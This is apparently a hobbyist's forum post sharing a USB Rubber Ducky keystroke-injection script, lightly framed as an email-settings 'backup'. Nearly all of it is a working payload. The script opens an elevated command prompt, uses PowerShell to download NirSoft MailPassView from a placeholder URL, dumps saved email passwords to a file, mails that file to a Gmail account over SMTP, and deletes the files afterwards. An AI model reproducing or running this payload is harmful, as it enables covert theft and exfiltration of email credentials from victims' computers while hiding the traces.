This is my very first Rubber Ducky script, it utilises things I learnt from the Hak5 crew and others.
It also uses a program (MailPassView) from one of my favourite websites for tools Nirsoft.
I hope you find it useful..... I have :)
REM Author: CTSNWW
REM Date: 11/10/2016
REM Lets backup our email account settings and passwords shall we?
REM Note: This is my first RubberDucky attempt!
REM The Program MailPassView is available from NIRSOFT.NET where you wil also find some other brilliant programs
REM
REM See https://www.google.com/settings/security/lesssecureapps you need to do this to send to gmail from the command prompt
REM
REM Some of the delays are large because older computers will struggle to keep up
REM
DELAY 3000
GUI d
CONTROL ESCAPE
DELAY 1000
STRING cmd
DELAY 1000
CTRL SHIFT ENTER
DELAY 1000
ALT y
ENTER
DELAY 300
STRING CD %TEMP%
ENTER
REM -------------Just in case we have run an incomplete version of this script before - clean up
STRING del email.txt
ENTER
DELAY 2000
STRING del mpv.exe
ENTER
REM -------------Download MailPassView
STRING powershell (new-object System.Net.WebClient).DownloadFile('PUT YOUR FULL URL PATH HERE/mailpv.exe','%TEMP%\mpv.exe')
ENTER
STRING mpv.exe
ENTER
DELAY 5000
CTRL A
DELAY 500
CTRL S
DELAY 2000
STRING %TEMP%\email.txt
ENTER
DELAY 2000
ALT f
STRING x
DELAY 300
REM -------------email log via gmail
STRING powershell
ENTER
DELAY 300
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('ACCOUNTNAME@gmail.com', 'ACCOUNT PASSWORD');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'FROM EMAIL ADDRESS'
ENTER
STRING $ReportEmail.To.Add('ACCOUNTNAME@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'Duck Report'
ENTER
STRING $ReportEmail.Body = 'Attached is your duck report.'
ENTER
STRING $ReportEmail.Attachments.Add('email.txt')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
REM -------------Clean Up the mess
DELAY 8000
STRING del email.txt
ENTER
STRING del mpv.exe
ENTER
DELAY 300
STRING exit
ENTER
GUI d
